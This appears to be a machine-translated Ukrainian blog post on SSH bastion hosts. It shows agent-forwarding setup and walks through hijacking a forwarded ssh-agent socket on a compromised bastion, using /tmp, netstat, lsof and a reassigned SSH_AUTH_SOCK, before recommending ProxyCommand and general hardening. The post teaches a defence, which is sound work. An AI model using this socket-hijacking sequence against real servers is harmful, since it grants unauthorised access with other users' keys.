Я побачив відповідь про ProxyJump. Поговоримо про ProxyCommand .
Але чекай, чекай! Я можу написати вам, як зламати сервер, який використовує переадресацію агента, що було б набагато простіше зрозуміти різницю!
Давайте зламати!
Основні етапи: ви можете прочитати мій пост тут
Основні етапи:
- Створіть користувачів бастіонів
- Вимкнути вхід у систему root
- Блокувати спроби злому
- Змінити порт
- Налаштування брандмауера
- Налаштування SELinux
Як використовувати AgentForwarding
-Створіть конфігурацію в ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Додайте ключ авторизації до ssh-агента
ssh-add ~/.ssh/name_rsa
-Підключіться до бастіонних наконечників
ssh bast
-З'єднайте сервер додатків з бастіону
ssh app@IP -p PORT
Злом!
Ви можете, ну, поставити мені запитання:
Як зламати сервери, якщо ви зірвали хостинг бастіону?
Відстеження цілі
У каталозі / tmp ви можете побачити щось подібне:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Давайте відкриємо тимчасовий файл
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Давайте подивимося підключення до цього ідентифікатора процесу.
netstat -nxp | grep 10507
результат:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
і хто пов'язаний?
lsof -i -a -p 10507
результат:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Також ми можемо побачити файли сокетів:
cd /proc/10507/fd/
ls
результат:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
А що буде, коли клієнт буде підключений до віддаленого сервера? подивимось:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Ми навіть можемо побачити, чи використовується файл сокета за допомогою netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Викрасти інформацію про розетку та IP-адресу
Тепер нам потрібно вкрасти інформацію про сокет, поки сеанс хосту бастіону відкритий . О, нам також потрібен IP-адреса сервера призначення , тому просто використовуйте netstat:
netstat -tn
Останній крок , щоб використовувати пересилається файл сокет
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Перевірте, чи ключ завантажений .
ssh-add -l
результат повинен бути чимось таким :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Сервер зламаний, як виправити проблему безпеки?
Команда проксі
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Основні операції: як передавати файли через сервери (від клієнта до сервера, сервера до клієнта), ви можете прочитати на моєму посту тут
Висновок
- Якщо ви використовуєте хост бастіонів, не використовуйте AgentForwarding, а використовуйте ProxyCommand
- Завжди використовуйте некореневого користувача для аутентифікації
- Використовуйте брандмауер і блокуйте всі непотрібні з'єднання.
- Використовувати SELinux (загалом)
- Блокуйте IP-адресу, яка намагається ввійти кілька разів з неправильними обліковими записами
- Якщо це не потрібно, не давайте дозволу sudo користувачеві
- Контролюйте свій сервер
- Оновіть ваш сервер щодо виправлень безпеки
Більше інформації див. У моєму блозі . Крім того, у мене є кілька знімків екрана, тому це може бути корисним для вас.